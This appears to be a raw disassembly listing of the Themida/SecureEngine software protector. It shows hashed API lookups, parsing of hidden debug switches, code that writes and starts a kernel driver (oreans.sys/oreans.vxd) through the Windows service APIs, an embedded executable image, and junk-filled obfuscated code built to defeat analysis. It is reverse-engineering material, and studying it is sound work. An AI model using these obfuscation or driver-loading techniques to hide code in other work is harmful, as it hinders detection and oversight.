		lea	eax, [ebp+7D3DC4Dh]
		push	eax
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D10285h]
		cmp	dword ptr [ebp+7D13405h], 0
		jz	loc_5B4847
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D3DCDBh]


loc_5B4847:				; CODE XREF: Themida_:005B4835j
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D129D9h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7D3DCD3h],	eax
		lea	eax, [ebp+7D3DCCFh]
		push	eax
		lea	eax, [ebp+7D3DC39h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7D3DCDFh]
		push	4
		lea	eax, [ebp+7D3DCD3h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7D3DC5Fh]
		push	eax
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D10285h]
		cmp	dword ptr [ebp+7D13405h], 0
		jz	loc_5B48AE
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D3DCDBh]


loc_5B48AE:				; CODE XREF: Themida_:005B489Cj
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D129D9h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7D131B5h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D3DCDFh],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	902E00E5h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D3DCDBh],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D10285h],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	98781034h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D129D9h],	eax
		mov	byte ptr [ebp+7D131B5h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+7D12D09h]
		call	dword ptr [ebp+7D130DDh]
		mov	[ebp+7D13469h],	eax
		jmp	loc_5B49F0
; ---------------------------------------------------------------------------
		db 2Fh
aBugcheck2	db 'bugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 2F000000h, 63656863h, 6F72706Bh, 74636574h, 6E6F69h
		dd 0
; ---------------------------------------------------------------------------


loc_5B49F0:				; CODE XREF: Themida_:005B4952j
		cmp	dword ptr [ebp+7D3E399h], 0
		jz	loc_5B4A07
		mov	dword ptr [ebp+7D12849h], 1


loc_5B4A07:				; CODE XREF: Themida_:005B49F7j
		mov	byte ptr [ebp+7D131B5h], 47h
		push	9A56F4B5h
		xor	dword ptr [esp], 0A3B9838h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5B4A57
		inc	edi
		mov	al, 22h


loc_5B4A38:				; CODE XREF: Themida_:005B4A39j
		scasb
		jnz	loc_5B4A38
		cmp	byte ptr [edi],	0
		jz	loc_5B4D63
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5B4D63
		jmp	loc_5B4A75
; ---------------------------------------------------------------------------


loc_5B4A57:				; CODE XREF: Themida_:005B4A2Fj
					; Themida_:005B4A70j
		cmp	byte ptr [edi],	0
		jz	loc_5B4D63
		cmp	byte ptr [edi],	20h
		jnz	loc_5B4A6F
		inc	edi
		jmp	loc_5B4A75
; ---------------------------------------------------------------------------


loc_5B4A6F:				; CODE XREF: Themida_:005B4A63j
		inc	edi
		jmp	loc_5B4A57
; ---------------------------------------------------------------------------


loc_5B4A75:				; CODE XREF: Themida_:005B4A52j
					; Themida_:005B4A6Aj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5B4A83
		jmp	loc_5B4D63
; ---------------------------------------------------------------------------


loc_5B4A83:				; CODE XREF: Themida_:005B4A78j
		jmp	loc_5B4A89
; ---------------------------------------------------------------------------


loc_5B4A88:				; CODE XREF: Themida_:005B4A8Cj
		inc	edi


loc_5B4A89:				; CODE XREF: Themida_:loc_5B4A83j
		cmp	byte ptr [edi],	20h
		jz	loc_5B4A88
		cmp	byte ptr [edi],	0
		jnz	loc_5B4AA0
		jmp	loc_5B4D63
; ---------------------------------------------------------------------------


loc_5B4AA0:				; CODE XREF: Themida_:005B4A95j
		call	sub_5B4AAF
		jmp	loc_5B4A75
; ---------------------------------------------------------------------------
		jmp	loc_5B4D63

; =============== S U B	R O U T	I N E =======================================



sub_5B4AAF	proc near		; CODE XREF: Themida_:loc_5B4AA0p
		lea	esi, [ebp+7D3E319h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4AD8
		mov	dword ptr [ebp+7D13405h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4AD8:				; CODE XREF: sub_5B4AAF+18j
		lea	esi, [ebp+7D3E324h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B01
		mov	dword ptr [ebp+7D12849h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B01:				; CODE XREF: sub_5B4AAF+41j
		lea	esi, [ebp+7D3E39Dh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B2A
		mov	dword ptr [ebp+7D11569h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B2A:				; CODE XREF: sub_5B4AAF+6Aj
		lea	esi, [ebp+7D3E32Eh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B53
		mov	dword ptr [ebp+7D12849h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B53:				; CODE XREF: sub_5B4AAF+93j
		lea	esi, [ebp+7D3E338h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B86
		mov	dword ptr [ebp+7D12849h], 1
		mov	dword ptr [ebp+7D13405h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B86:				; CODE XREF: sub_5B4AAF+BCj
		lea	esi, [ebp+7D3E346h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4BAE
		mov	dword ptr [ebp+7D11139h], 1


loc_5B4BAE:				; CODE XREF: sub_5B4AAF+EFj
		lea	esi, [ebp+7D3E350h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4BD6
		mov	dword ptr [ebp+7D11139h], 1


loc_5B4BD6:				; CODE XREF: sub_5B4AAF+117j
		lea	esi, [ebp+7D3E35Bh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4BFE
		mov	dword ptr [ebp+7D12959h], 1


loc_5B4BFE:				; CODE XREF: sub_5B4AAF+13Fj
		lea	esi, [ebp+7D3E361h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C26
		mov	dword ptr [ebp+7D13445h], 1


loc_5B4C26:				; CODE XREF: sub_5B4AAF+167j
		lea	esi, [ebp+7D3E367h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C4E
		mov	dword ptr [ebp+7D11425h], 1


loc_5B4C4E:				; CODE XREF: sub_5B4AAF+18Fj
		lea	esi, [ebp+7D3E375h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C76
		mov	dword ptr [ebp+7D128E5h], 1


loc_5B4C76:				; CODE XREF: sub_5B4AAF+1B7j
		lea	esi, [ebp+7D3E382h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C9E
		mov	dword ptr [ebp+7D12EC5h], 1


loc_5B4C9E:				; CODE XREF: sub_5B4AAF+1DFj
		lea	esi, [ebp+7D3E38Dh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4CC6
		mov	dword ptr [ebp+7D124B5h], 1


loc_5B4CC6:				; CODE XREF: sub_5B4AAF+207j
		jmp	loc_5B4CCC
; ---------------------------------------------------------------------------


loc_5B4CCB:				; CODE XREF: sub_5B4AAF+229j
		inc	edi


loc_5B4CCC:				; CODE XREF: sub_5B4AAF:loc_5B4CC6j
		cmp	byte ptr [edi],	20h
		jz	locret_5B4CDE
		cmp	byte ptr [edi],	0
		jnz	loc_5B4CCB

locret_5B4CDE:				; CODE XREF: sub_5B4AAF+220j
		retn
sub_5B4AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_5B4CDF	proc near		; CODE XREF: sub_5B4AAF+6p
					; sub_5B4AAF+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5B4D08
; ---------------------------------------------------------------------------


loc_5B4CEC:				; CODE XREF: sub_5B4CDF+34j
		cmp	byte ptr [edi],	0
		jnz	loc_5B4CFA
		mov	ecx, 0


loc_5B4CFA:				; CODE XREF: sub_5B4CDF+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5B4D06
		sub	ecx, ecx


loc_5B4D06:				; CODE XREF: sub_5B4CDF+1Fj
		inc	esi
		inc	edi


loc_5B4D08:				; CODE XREF: sub_5B4CDF+8j
		cmp	byte ptr [esi],	0
		jz	loc_5B4D19
		or	ecx, ecx
		jnz	loc_5B4CEC


loc_5B4D19:				; CODE XREF: sub_5B4CDF+2Cj
		or	ecx, ecx
		jz	loc_5B4D42
		cmp	byte ptr [edi],	0
		jz	loc_5B4D33
		cmp	byte ptr [edi],	20h
		jnz	loc_5B4D3D


loc_5B4D33:				; CODE XREF: sub_5B4CDF+45j
		mov	ecx, 1
		jmp	loc_5B4D42
; ---------------------------------------------------------------------------


loc_5B4D3D:				; CODE XREF: sub_5B4CDF+4Ej
		mov	ecx, 0


loc_5B4D42:				; CODE XREF: sub_5B4CDF+3Cj
					; sub_5B4CDF+59j
		or	ecx, ecx
		jz	loc_5B4D57
		sub	esi, ebx
		mov	[ebp+7D3E3AEh],	esi
		jmp	loc_5B4D61
; ---------------------------------------------------------------------------


loc_5B4D57:				; CODE XREF: sub_5B4CDF+65j
		mov	dword ptr [ebp+7D3E3AEh], 0


loc_5B4D61:				; CODE XREF: sub_5B4CDF+73j
		popa
		retn
sub_5B4CDF	endp

; ---------------------------------------------------------------------------


loc_5B4D63:				; CODE XREF: Themida_:005B4A42j
					; Themida_:005B4A4Cj ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5B4D7A
		mov	dword ptr [ebp+7D11139h], 0


loc_5B4D7A:				; CODE XREF: Themida_:005B4D6Aj
		mov	ecx, eax
		jmp	loc_5B4F8F
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B4F8F:				; CODE XREF: Themida_:005B4D7Cj
		jmp	loc_5B5083
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7D131B5h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		push	104h
		lea	ebx, [ebp+7D10299h]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+7D3E93Bh]
		mov	edi, esi
		xor	al, al


loc_5B4FC7:				; CODE XREF: Themida_:005B4FC8j
		scasb
		jnz	loc_5B4FC7
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+7D131B5h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		lea	esi, [ebp+7D10299h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+7D131B5h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		lea	edi, [ebp+7D1194Dh]
		lea	ecx, [ebp+7D3EA61h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5B5065
		lea	esi, [ebp+7D3E743h]
		lea	eax, [ebp+7D3D40Fh]
		call	eax
		lea	ecx, [ebp+7D170C4h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5B5065:				; CODE XREF: Themida_:005B5044j
		mov	byte ptr [ebp+7D131B5h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5B5083:				; CODE XREF: Themida_:loc_5B4F8Fj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5B509A
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5B509A:				; CODE XREF: Themida_:005B5093j
		jmp	loc_5B886F
; ---------------------------------------------------------------------------
		db 4Dh
		dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B887B


loc_5B8837:				; CODE XREF: sub_5B887B+13j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_5B887B
; ---------------------------------------------------------------------------
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_5B8844
		xor	eax, eax
		jmp	short locret_5B885E
; ---------------------------------------------------------------------------


loc_5B8844:				; CODE XREF: Themida_:005B883Ej
		cmp	dword ptr [esi+0Ch], 1
		jnz	short locret_5B885E
		lea	eax, large ds:0
		mov	edi, [esi+18h]
		mov	[edi], eax
		mov	dword ptr [esi+20h], 4
		xor	eax, eax

locret_5B885E:				; CODE XREF: Themida_:005B8842j
					; Themida_:005B8848j
		retn
; ---------------------------------------------------------------------------
		db 0Ch
aXprotvxd_ddb	db 'XPROTVXD_DDB',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B886F:				; CODE XREF: Themida_:loc_5B509Aj
		call	sub_5B887B
		das
		adc	ah, [eax+1EBBDC62h]

; =============== S U B	R O U T	I N E =======================================



sub_5B887B	proc near		; CODE XREF: Themida_:loc_5B886Fp

; FUNCTION CHUNK AT 005B8837 SIZE 00000003 BYTES

		mov	edx, edi
		pop	edi
		jmp	loc_5B8892
; ---------------------------------------------------------------------------
		lahf
		icebp
		sbb	al, 1Eh
		imul	eax, [ecx-3E2D8FC3h], 4Eh
		jmp	short loc_5B8837
; ---------------------------------------------------------------------------
		db 0A7h, 23h
; ---------------------------------------------------------------------------


loc_5B8892:				; CODE XREF: sub_5B887B+3j
		add	edi, 609Fh
		mov	bx, 2903h
		mov	ecx, 17FAh
		mov	bh, 0C6h


loc_5B88A3:				; CODE XREF: sub_5B88ED+37j
		mov	eax, [edi]
		mov	edx, [ebp+7D1135Dh]
		add	eax, 78CE2AA1h
		adc	bx, 0A460h
		xor	eax, 623DBAC6h
		call	near ptr loc_5B88CE+2
		movsd
		in	al, 21h		; Interrupt controller,	8259A.
		push	0FFFFFF90h
		xor	eax, 0E92941C6h


loc_5B88CB:				; CODE XREF: sub_5B88ED+1Bj
		or	esi, [ecx]
		push	ds


loc_5B88CE:				; CODE XREF: sub_5B887B+41p
		shl	word ptr [eax+29h], 0BDh
sub_5B887B	endp ; sp-analysis failed

		push	ecx
		sub	dl, cl
		pop	es
		call	sub_5B88ED
		test	eax, 53C6D74Fh
		xor	[ecx], al
		dec	edx
		dec	ebp
		push	edx
		out	dx, al
		xor	[edx-0AD9B46h],	dl

; =============== S U B	R O U T	I N E =======================================



sub_5B88ED	proc near		; CODE XREF: Themida_:005B88D7p
		pop	ebx
		popa
		pop	edx
		add	eax, 7EBBE75h
		mov	edx, [ebp+7D10C59h]
		push	eax
		mov	dx, 4E1Eh
		pop	dword ptr [edi]
		jmp	loc_5B8910
; ---------------------------------------------------------------------------
		ja	short loc_5B88CB
		cmp	[edi+67h], esi
		sub	esi, [ebx+73h]


loc_5B8910:				; CODE XREF: sub_5B88ED+16j
		sub	edi, 6BABA291h
		and	ebx, 39F189Ah
		add	edi, 6BABA28Dh
		cmc
		dec	ecx
		jnz	loc_5B88A3
		mov	edx, 2D88521Ch
		jmp	loc_5B99EB
; ---------------------------------------------------------------------------
		dd 41564441h, 32334950h, 4C4C442Eh, 65704F00h, 4D43536Eh
		dd 67616E61h, 417265h, 61657243h, 65536574h, 63697672h
		dd 53004165h, 74726174h, 76726553h, 41656369h, 74654700h
		dd 6974614Eh, 79536576h, 6D657473h, 6F666E49h, 65704F00h
		dd 7265536Eh, 65636976h, 65440041h, 6574656Ch, 76726553h
		dd 656369h, 736F6C43h, 72655365h, 65636976h, 646E6148h
		dd 4300656Ch, 72746E6Fh, 65536C6Fh, 63697672h, 65h, 7 dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
		dd 5C2E5C5Ch, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpriv	db 'SeShutdownPrivilege',0
		align 8
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseserviceha	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 72655300h,	65636976h
		dd 63615020h, 32206Bh, 1Dh dup(0)
		dd 666F5300h, 72617774h, 69575C65h
		db 6Eh,	65h, 0
; ---------------------------------------------------------------------------


loc_5B99EB:				; CODE XREF: sub_5B88ED+42j
		mov	eax, esp
		push	0
		push	ecx
		call	sub_5B99F8
		and	[ecx-3Dh], bl
sub_5B88ED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B99F8	proc near		; CODE XREF: sub_5B88ED+1103p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B99F8	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		mov	edi, [ebp+7D11831h]
		mov	[ebp+7D11609h],	eax
		sub	[ebp+7D11461h],	ebx
		mov	[ebp+7D121BDh],	esi
		mov	eax, eax
		jz	loc_5B9A31
		push	edx
		xor	[ebp+7D11F55h],	eax
		pop	edi


loc_5B9A31:				; CODE XREF: Themida_:005B9A23j
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9A43
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9A5C


loc_5B9A43:				; CODE XREF: Themida_:005B9A38j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9A5C:				; CODE XREF: Themida_:005B9A41j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9A7C
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9A7C:				; CODE XREF: Themida_:005B9A63j
		call	near ptr loc_5B9A83+3
		cmp	[ecx], bh


loc_5B9A83:				; CODE XREF: Themida_:loc_5B9A7Cp
		push	59FC8A7Dh
		mov	cx, si
		mov	edi, [ebp+7D11FEDh]
		mov	eax, eax
		sub	[ebp+7D10C39h],	ecx
		mov	[ebp+7D11BC1h],	ebx
		mov	eax, eax
		and	edi, [ebp+7D11115h]
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9AB9
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9ACC


loc_5B9AB9:				; CODE XREF: Themida_:005B9AAEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3E052h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9ACC:				; CODE XREF: Themida_:005B9AB7j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9AE6
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7D3DF03h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9AE6:				; CODE XREF: Themida_:005B9AD3j
		mov	dl, ah
		call	near ptr loc_5B9AEF+4
		db	3Eh
		popa


loc_5B9AEF:				; CODE XREF: Themida_:005B9AE8p
		and	eax, 0FB28027h
		mov	bh, 0D3h
		pop	ecx
		mov	eax, eax
		pusha
		jo	loc_5B9B0A
		jmp	loc_5B9B0A
; ---------------------------------------------------------------------------
		db 80h,	0A5h, 82h
		db 23h,	0B9h
; ---------------------------------------------------------------------------


loc_5B9B0A:				; CODE XREF: Themida_:005B9AFAj
					; Themida_:005B9B00j
		popa
		mov	eax, eax
		add	edx, 7D8BC154h
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9B25
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9B38


loc_5B9B25:				; CODE XREF: Themida_:005B9B1Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3DF84h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9B38:				; CODE XREF: Themida_:005B9B23j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9B52
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7D3DED1h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9B52:				; CODE XREF: Themida_:005B9B3Fj
		sbb	edi, 3969269Fh
		push	0
		push	ecx
		call	sub_5B9B63
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9B63	proc near		; CODE XREF: Themida_:005B9B5Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B9B63	endp

; ---------------------------------------------------------------------------
		mov	ds:0C2D7DB87h, eax
		aam	0CEh
		jmp	loc_5B9B8C
; ---------------------------------------------------------------------------
		db 67h
		dd 0F7D77642h, 270B4792h, 0C7AAB656h
; ---------------------------------------------------------------------------


loc_5B9B8C:				; CODE XREF: Themida_:005B9B7Aj
		jz	loc_5B9B9D
		pusha
		and	dh, 0CFh
		mov	ecx, [ebp+7D10C5Dh]
		popa


loc_5B9B9D:				; CODE XREF: Themida_:loc_5B9B8Cj
		mov	eax, eax
		mov	ecx, [ebp+7D1289Dh]
		mov	eax, eax
		sub	[ebp+7D121A9h],	edi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9BBF
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9BD2


loc_5B9BBF:				; CODE XREF: Themida_:005B9BB4j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3DFEBh]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9BD2:				; CODE XREF: Themida_:005B9BBDj
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9BEC
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7D3DEEAh]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9BEC:				; CODE XREF: Themida_:005B9BD9j
		mov	di, si
		mov	cx, 464Bh
		mov	eax, eax
		jge	loc_5B9C01
		sub	[ebp+7D105CDh],	edx


loc_5B9C01:				; CODE XREF: Themida_:005B9BF5j
		or	[ebp+7D11021h],	edi
		mov	eax, eax
		mov	ecx, esi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9C1D
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9C30


loc_5B9C1D:				; CODE XREF: Themida_:005B9C12j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3DF1Dh]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9C30:				; CODE XREF: Themida_:005B9C1Bj
		mov	di, 7CE8h
		mov	[ebp+7D133E1h],	ecx
		mov	eax, eax
		sub	[ebp+7D11B95h],	ebx
		mov	eax, eax
